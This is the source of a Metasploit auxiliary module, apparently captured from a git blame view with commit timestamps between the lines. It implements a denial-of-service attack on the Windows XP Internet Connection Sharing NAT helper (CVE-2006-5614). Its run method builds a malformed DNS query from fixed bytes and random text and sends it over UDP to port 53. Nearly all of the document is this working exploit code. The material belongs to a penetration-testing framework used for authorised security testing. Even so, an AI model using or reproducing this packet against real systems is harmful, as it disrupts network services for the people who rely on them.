2007-02-18 00:10:39 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft Windows NAT Helper Denial of Service',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a denial of service vulnerability
|
|
|
|
within the Internet Connection Sharing service in
|
|
|
|
Windows XP.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2016-07-15 17:00:31 +00:00
|
|
|
[ 'OSVDB', '30096'],
|
2013-08-30 21:28:54 +00:00
|
|
|
[ 'BID', '20804' ],
|
|
|
|
[ 'CVE', '2006-5614' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Oct 26 2006'))
|
|
|
|
|
2017-05-03 20:42:21 +00:00
|
|
|
register_options([Opt::RPORT(53),])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
connect_udp
|
|
|
|
|
|
|
|
pkt = "\x6c\xb6\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
|
|
pkt << "\x03" + Rex::Text.rand_text_english(3) + "\x06"
|
|
|
|
pkt << Rex::Text.rand_text_english(10) + "\x03"
|
|
|
|
pkt << Rex::Text.rand_text_english(3)
|
|
|
|
pkt << "\x00\x00\x01\x00\x01"
|
|
|
|
|
|
|
|
print_status("Sending dos packet...")
|
|
|
|
|
|
|
|
udp_sock.put(pkt)
|
|
|
|
|
|
|
|
disconnect_udp
|
|
|
|
end
|
2008-11-18 20:00:31 +00:00
|
|
|
end
|